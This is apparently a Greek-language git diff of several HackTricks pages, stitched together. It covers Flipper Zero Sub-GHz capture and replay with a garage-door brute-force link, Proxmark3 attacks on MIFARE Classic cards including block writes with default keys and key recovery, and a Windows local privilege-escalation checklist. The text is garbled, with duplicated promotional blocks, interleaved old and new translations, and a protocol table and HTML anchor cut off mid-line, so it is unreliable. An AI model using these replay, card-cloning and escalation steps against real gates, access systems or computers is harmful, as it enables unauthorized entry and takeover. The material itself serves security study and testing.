* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
With [**Flipper Zero**](https://flipperzero.one/) you can:
**Try Hard Security Group**
* **Ακούστε/Καταγράψτε/Επαναλάβετε ραδιοσυχνότητες:** [**Sub-GHz**](fz-sub-ghz.md)
* **Διαβάστε/Καταγράψτε/Εξομοιώστε κάρτες NFC:** [**NFC**](fz-nfc.md)
* **Διαβάστε/Καταγράψτε/Εξομοιώστε ετικέτες 125kHz:** [**125kHz RFID**](fz-125khz-rfid.md)
* **Διαβάστε/Καταγράψτε/Στείλτε σήματα υπέρυθρων:** [**Υπέρυθρο**](fz-infrared.md)
* **Διαβάστε/Καταγράψτε/Εξομοιώστε iButtons:** [**iButton**](../ibutton.md)
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
With [**Flipper Zero**](https://flipperzero.one/) μπορείτε:
* **Ακούστε/Καταγράψτε/Επαναλάβετε συχνότητες ραδιοφώνου:** [**Sub-GHz**](fz-sub-ghz.md)
* **Διαβάστε/Καταγράψτε/Εμμιτέ NFC κάρτες:** [**NFC**](fz-nfc.md)
* **Διαβάστε/Καταγράψτε/Εμμιτέ ετικέτες 125kHz:** [**125kHz RFID**](fz-125khz-rfid.md)
* **Διαβάστε/Καταγράψτε/Στείλτε σήματα υπερύθρων:** [**Υπέρυθρο**](fz-infrared.md)
* **Διαβάστε/Καταγράψτε/Εμμιτέ iButtons:** [**iButton**](../ibutton.md)
* **Χρησιμοποιήστε το ως Bad USB**
* **Χρησιμοποιήστε το ως κλειδί ασφαλείας (U2F)**
* **Παίξτε το παιχνίδι Snake**
* **Παίξτε Snake**
**Άλλοι πόροι Flipper Zero στο** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -14,9 +14,17 @@
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Εισαγωγή <a href="#kfpn7" id="kfpn7"></a>
Το Flipper Zero μπορεί να **λαμβάνει και να μεταδίδει ραδιοσυχνότητες στο εύρος 300-928 MHz** με το ενσωματωμένο του μοντούλο, ο οποίος μπορεί να διαβάσει, να αποθηκεύσει και να προσομοιώσει τηλεχειρισμούς. Αυτοί οι τηλεχειρισμοί χρησιμοποιούνται για την αλληλεπίδραση με πύλες, φράχτες, ραδιοκλειδαριές, διακόπτες τηλεχειρισμού, ασύρματα κουδούνια, έξυπνα φώτα και άλλα. Το Flipper Zero μπορεί να σας βοηθήσει να μάθετε αν η ασφάλειά σας έχει διακυβευτεί.
Το Flipper Zero μπορεί **να λαμβάνει και να μεταδίδει ραδιοσυχνότητες στο εύρος 300-928 MHz** με το ενσωματωμένο του μοντούλο, ο οποίος μπορεί να διαβάσει, να αποθηκεύσει και να προσομοιώσει τηλεχειρισμούς. Αυτοί οι τηλεχειρισμοί χρησιμοποιούνται για την αλληλεπίδραση με πύλες, φράχτες, ραδιοκλειδαριές, διακόπτες τηλεχειρισμού, ασύρματα κουδούνια πορτών, έξυπνα φώτα και άλλα. Το Flipper Zero μπορεί να σας βοηθήσει να μάθετε αν η ασφάλειά σας έχει παραβιαστεί.
<figure><img src="../../../.gitbook/assets/image (3) (2) (1).png" alt=""><figcaption></figcaption></figure>
@ -40,53 +48,49 @@
1. Τοποθετήστε το τηλεχειριστήριο πολύ κοντά στα αριστερά του Flipper Zero.
2. Πηγαίνετε στο **Κύριο Μενού** **→ Sub-GHz**.
3. Επιλέξτε **Αναλυτής Συχνοτήτων**, στη συνέχεια πατήστε και κρατήστε το κουμπί στο τηλεχειριστήριο που θέλετε να αναλύσετε.
3. Επιλέξτε **Αναλυτής Συχνοτήτων**, στη συνέχεια πατήστε και κρατήστε πατημένο το κουμπί στο τηλεχειριστήριο που θέλετε να αναλύσετε.
4. Ελέγξτε την τιμή της συχνότητας στην οθόνη.
### Ανάγνωση
### Διάβασμα
{% hint style="info" %}
Βρείτε πληροφορίες σχετικά με τη χρησιμοποιούμενη συχνότητα (επίσης άλλος τρόπος να βρείτε ποια συχνότητα χρησιμοποιείται)
{% endhint %}
Η επιλογή **Ανάγνωση** **ακούει στην ρυθμισμένη συχνότητα** στην καθορισμένη διαμόρφωση: 433.92 AM από προεπιλογή. Αν **βρεθεί κάτι** κατά την ανάγνωση, **δίνονται πληροφορίες** στην οθόνη. Αυτές οι πληροφορίες μπορεί να χρησιμοποιηθούν για να αναπαράγετε το σήμα στο μέλλον.
Η επιλογή **Διάβασμα** **ακούει στην ρυθμισμένη συχνότητα** στην καθορισμένη διαμόρφωση: 433.92 AM από προεπιλογή. Αν **βρεθεί κάτι** κατά τη διάρκεια της ανάγνωσης, **δίνονται πληροφορίες** στην οθόνη. Αυτές οι πληροφορίες μπορεί να χρησιμοποιηθούν για να αναπαραχθεί το σήμα στο μέλλον.
Κατά τη χρήση της Ανάγνωσης, είναι δυνατόν να πατήσετε το **αριστερό κουμπί** και να το **ρυθμίσετε**.\
Προς το παρόν έχει **4 διαμορφώσεις** (AM270, AM650, FM328 και FM476), και **αποθηκευμένες αρκετές σχετικές συχνότητες**:
Κατά τη χρήση του Διαβάσματος, είναι δυνατόν να πατήσετε το **αριστερό κουμπί** και να το **ρυθμίσετε**.\
Αυτή τη στιγμή έχει **4 διαμορφώσεις** (AM270, AM650, FM328 και FM476), και **πολλές σχετικές συχνότητες** αποθηκευμένες:
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
Μπορείτε να ορίσετε **οποιαδήποτε σας ενδιαφέρει**, ωστόσο, αν **δεν είστε σίγουροι ποια συχνότητα** μπορεί να χρησιμοποιεί το τηλεχειριστήριο που έχετε, **ρυθμίστε το Hopping σε ON** (απενεργοποιημένο από προεπιλογή), και πατήστε το κουμπί αρκετές φορές μέχρι το Flipper να το αιχμαλωτίσει και να σας δώσει τις πληροφορίες που χρειάζεστε για να ρυθμίσετε τη συχνότητα.
Μπορείτε να ορίσετε **οποιαδήποτε σας ενδιαφέρει**, ωστόσο, αν **δεν είστε σίγουροι ποια συχνότητα** μπορεί να είναι αυτή που χρησιμοποιείται από το τηλεχειριστήριο που έχετε, **ρυθμίστε το Hopping σε ON** (απενεργοποιημένο από προεπιλογή) και πατήστε το κουμπί αρκετές φορές μέχρι το Flipper να το αιχμαλωτίσει και να σας δώσει τις πληροφορίες που χρειάζεστε για να ρυθμίσετε τη συχνότητα.
{% hint style="danger" %}
Η μετάβαση μεταξύ συχνοτήτων απαιτεί κάποιο χρόνο, επομένως τα σήματα που μεταδίδονται κατά τη διάρκεια της μετάβασης μπορεί να χαθούν. Για καλύτερη λήψη σήματος, ορίστε μια σταθερή συχνότητα που καθορίζεται από τον Αναλυτή Συχνοτήτων.
{% endhint %}
### **Ανάγνωση Raw**
### **Διάβασμα Raw**
{% hint style="info" %}
Κλέψτε (και επαναλάβετε) ένα σήμα στη ρυθμισμένη συχνότητα
{% endhint %}
Η επιλογή **Ανάγνωση Raw** **καταγράφει τα σήματα** που στέλνονται στη συχνότητα ακρόασης. Αυτό μπορεί να χρησιμοποιηθεί για να **κλέψετε** ένα σήμα και να το **επαναλάβετε**.
Η επιλογή **Διάβασμα Raw** **καταγράφει τα σήματα** που στέλνονται στη συχνότητα ακρόασης. Αυτό μπορεί να χρησιμοποιηθεί για να **κλέψετε** ένα σήμα και να το **επαναλάβετε**.
Από προεπιλογή το **Ανάγνωση Raw είναι επίσης στα 433.92 στο AM650**, αλλά αν με την επιλογή Ανάγνωση βρήκατε ότι το σήμα που σας ενδιαφέρει είναι σε μια **διαφορετική συχνότητα/διαμόρφωση, μπορείτε επίσης να το τροποποιήσετε** πατώντας αριστερά (ενώ βρίσκεστε μέσα στην επιλογή Ανάγνωση Raw).
Από προεπιλογή το **Διάβασμα Raw είναι επίσης στα 433.92 στο AM650**, αλλά αν με την επιλογή Διάβασμα βρήκατε ότι το σήμα που σας ενδιαφέρει είναι σε μια **διαφορετική συχνότητα/διαμόρφωση, μπορείτε επίσης να το τροποποιήσετε** πατώντας αριστερά (ενώ βρίσκεστε μέσα στην επιλογή Διάβασμα Raw).
### Επίθεση Brute-Force
### Βίαιη Δύναμη
Αν γνωρίζετε το πρωτόκολλο που χρησιμοποιείται για παράδειγμα από την πόρτα του γκαράζ, είναι δυνατόν να **δημιουργήσετε όλους τους κωδικούς και να τους στείλετε με το Flipper Zero.** Αυτό είναι ένα παράδειγμα που υποστηρίζει γενικά κοινούς τύπους γκαράζ: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
### Προσθήκη Χειροκίνητα
{% hint style="info" %}
Προσθέστε σήματα από μια καθορισμένη λίστα πρωτοκόλλων
Προσθέστε σήματα από μια ρυθμισμένη λίστα πρωτοκόλλων
{% endhint %}
#### Λίστα των [υποστηριζόμενων πρωτοκόλλων](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu"></a>
| Princeton\_433 (λειτουργεί με την πλειοψηφία των συστημάτων στατικών κωδικών) | 433.92 | Στατικός |
| --------------------------------------------------------------- | ------ | ------- |
| Nice Flo 12
#### Λίστα των [υποστηριζόμενων πρωτοκόλλων](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu
### Υποστηριζόμενοι προμηθευτές Sub-GHz
Ελέγξτε τη λίστα στο [https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors)
@ -104,3 +108,23 @@
## Αναφορά
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -2,9 +2,9 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -12,14 +12,22 @@
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Επίθεση σε Συστήματα RFID με το Proxmark3
Το πρώτο πράγμα που χρειάζεστε είναι ένα [**Proxmark3**](https://proxmark.com) και να [**εγκαταστήσετε το λογισμικό και τις εξαρτήσεις του**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
### Επίθεση στο MIFARE Classic 1KB
### Επίθεση σε MIFARE Classic 1KB
Έχει **16 τομείς**, κάθε ένας έχει **4 μπλοκ** και κάθε μπλοκ περιέχει **16B**. Το UID βρίσκεται στον τομέα 0 μπλοκ 0 (και δεν μπορεί να τροποποιηθεί).\
Για να έχετε πρόσβαση σε κάθε τομέα χρειάζεστε **2 κλειδιά** (**Α** και **Β**) τα οποία αποθηκεύονται στο **μπλοκ 3 κάθε τομέα** (τροχαίος τομέας). Ο τροχαίος τομέας αποθηκεύει επίσης τα **δείκτες πρόσβασης** που δίνουν τις άδειες **ανάγνωσης και εγγραφής** σε **κάθε μπλοκ** χρησιμοποιώντας τα 2 κλειδιά.\
Για να έχετε πρόσβαση σε κάθε τομέα χρειάζεστε **2 κλειδιά** (**Α** και **Β**) τα οποία αποθηκεύονται στο **μπλοκ 3 κάθε τομέα** (τροχαίος τομέας). Ο τροχαίος τομέας αποθηκεύει επίσης τα **bits πρόσβασης** που δίνουν τις άδειες **ανάγνωσης και εγγραφής** σε **κάθε μπλοκ** χρησιμοποιώντας τα 2 κλειδιά.\
Τα 2 κλειδιά είναι χρήσιμα για να δώσουν άδειες για ανάγνωση αν γνωρίζετε το πρώτο και για εγγραφή αν γνωρίζετε το δεύτερο (για παράδειγμα).
Μπορούν να πραγματοποιηθούν πολλές επιθέσεις
@ -45,7 +53,7 @@ proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write
### Ακατέργαστες Εντολές
Τα συστήματα IoT μερικές φορές χρησιμοποιούν **μη επωνυμασμένες ή μη εμπορικές ετικέτες**. Σε αυτήν την περίπτωση, μπορείτε να χρησιμοποιήσετε το Proxmark3 για να στείλετε προσαρμοσμένες **ακατέργαστες εντολές στις ετικέτες**.
Συστήματα IoT μερικές φορές χρησιμοποιούν **μη επωνυμασμένες ή μη εμπορικές ετικέτες**. Σε αυτήν την περίπτωση, μπορείτε να χρησιμοποιήσετε το Proxmark3 για να στείλετε προσαρμοσμένες **ακατέργαστες εντολές στις ετικέτες**.
```bash
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
SAK : 08 [2]
@ -63,4 +71,23 @@ Valid ISO14443A Tag Found - Quiting Search
```
proxmark3> script run mfkeys
```
Μπορείτε να δημιουργήσετε ένα σενάριο για **fuzz tag readers**, αντιγράφοντας τα δεδομένα ενός **έγκυρου κάρτ**α απλά γράψτε ένα **Lua script** που **τυχαιοποιεί** έναν ή περισσότερους τυχαίους **bytes** και ελέγξτε αν ο **αναγνώστης καταρρέει** με οποιαδήποτε επανάληψη.
Μπορείτε να δημιουργήσετε ένα σενάριο για **fuzzing αναγνωστών ετικετών**, έτσι ώστε να αντιγράψετε τα δεδομένα ενός **έγκυρου καρτών** και να γράψετε ένα **Lua script** που **τυχαιοποιεί** έναν ή περισσότερους τυχαίους **bytes** και ελέγχει αν ο **αναγνώστης κρασάρει** με οποιαδήποτε επανάληψη.
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετέχετε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,25 +1,33 @@
# Λίστα ελέγχου - Εξέλιξη προνομίων τοπικά στα Windows
# Λίστα ελέγχου - Εκμετάλλευση Προνομίων σε Τοπικό Σύστημα Windows
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερευνητής Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
### **Καλύτερο εργαλείο για αναζήτηση διανυσματικών εξέλιξης προνομίων στα Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
**Ομάδα Ασφάλειας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### **Καλύτερο εργαλείο για αναζήτηση διανυσμάτων εκμετάλλευσης προνομίων σε τοπικό Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### [Πληροφορίες Συστήματος](windows-local-privilege-escalation/#system-info)
* [ ] Αποκτήστε [**Πληροφορίες Συστήματος**](windows-local-privilege-escalation/#system-info)
* [ ] Αναζητήστε **εκμεταλλεύσεις πυρήνα** χρησιμοποιώντας **σενάρια** (scripts) (windows-local-privilege-escalation/#version-exploits)
* [ ] Αναζητήστε **εκμεταλλεύσεις πυρήνα** [**χρησιμοποιώντας σενάρια**](windows-local-privilege-escalation/#version-exploits)
* [ ] Χρησιμοποιήστε τη **Google για αναζήτηση** εκμεταλλεύσεων πυρήνα
* [ ] Χρησιμοποιήστε το **searchsploit για αναζήτηση** εκμεταλλεύσεων πυρήνα
* [ ] Ενδιαφέρουσες πληροφορίες στις [**μεταβλητές περιβάλλοντος**](windows-local-privilege-escalation/#environment)?
@ -27,80 +35,80 @@
* [ ] Ενδιαφέρουσες πληροφορίες στις [**ρυθμίσεις Internet**](windows-local-privilege-escalation/#internet-settings)?
* [ ] [**Δίσκοι**](windows-local-privilege-escalation/#drives)?
* [ ] [**Εκμετάλλευση WSUS**](windows-local-privilege-escalation/#wsus)?
* [**Πάντα Εγκατεστημένο με Υψηλά Δικαιώματα**](windows-local-privilege-escalation/#alwaysinstallelevated)?
* [**Πάντα Εγκατεστημένος**](windows-local-privilege-escalation/#alwaysinstallelevated)?
### [Απαρίθμηση Logging/AV](windows-local-privilege-escalation/#enumeration)
### [Καταγραφή/Αποφυγή AV](windows-local-privilege-escalation/#enumeration)
* [ ] Ελέγξτε τις [**ρυθμίσεις Ελέγχου**](windows-local-privilege-escalation/#audit-settings) και [**WEF**](windows-local-privilege-escalation/#wef)
* [ ] Ελέγξτε τις [**ρυθμίσεις Ελέγχου** ](windows-local-privilege-escalation/#audit-settings)και του [**WEF** ](windows-local-privilege-escalation/#wef)
* [ ] Ελέγξτε το [**LAPS**](windows-local-privilege-escalation/#laps)
* [ ] Ελέγξτε αν το [**WDigest**](windows-local-privilege-escalation/#wdigest) είναι ενεργό
* [ ] Ελέγξτε αν το [**WDigest** ](windows-local-privilege-escalation/#wdigest)είναι ενεργό
* [ ] [**Προστασία LSA**](windows-local-privilege-escalation/#lsa-protection)?
* [ ] [**Φύλαξη Διαπιστευτηρίων**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
* [ ] [**Κρυφά Διαπιστευτήρια**](windows-local-privilege-escalation/#cached-credentials)?
* [ ] Ελέγξτε αν υπάρχει κάποιο [**Αντιιό**](windows-av-bypass)
* [**Πολιτική AppLocker**](authentication-credentials-uac-and-efs#applocker-policy)?
* [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control)
* [**Προνόμια Χρηστών**](windows-local-privilege-escalation/#users-and-groups)
* Ελέγξτε τα [**τρέχοντα** προνόμια χρήστη](windows-local-privilege-escalation/#users-and-groups)
* Είστε [**μέλος κάποιας ομάδας με προνόμια**](windows-local-privilege-escalation/#privileged-groups)?
* Ελέγξτε αν έχετε ενεργοποιημένα [κάποια από αυτά τα διακριτικά](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
* [ ] Ελέγξτε αν υπάρχει κάποιο [**AV**](windows-av-bypass)
* [ ] [**Πολιτική AppLocker**](authentication-credentials-uac-and-efs#applocker-policy)?
* [ ] [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control)
* [ ] [**Προνόμια Χρηστών**](windows-local-privilege-escalation/#users-and-groups)
* [ ] Ελέγξτε τα [**τρέχοντα** προνόμια χρήστη](windows-local-privilege-escalation/#users-and-groups)
* [ ] Είστε [**μέλος κάποιας προνομιούχας ομάδας**](windows-local-privilege-escalation/#privileged-groups);
* [ ] Ελέγξτε αν έχετε ενεργοποιημένα [κάποια από αυτά τα διακριτικά](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
* [**Συνεδρίες Χρηστών**](windows-local-privilege-escalation/#logged-users-sessions)?
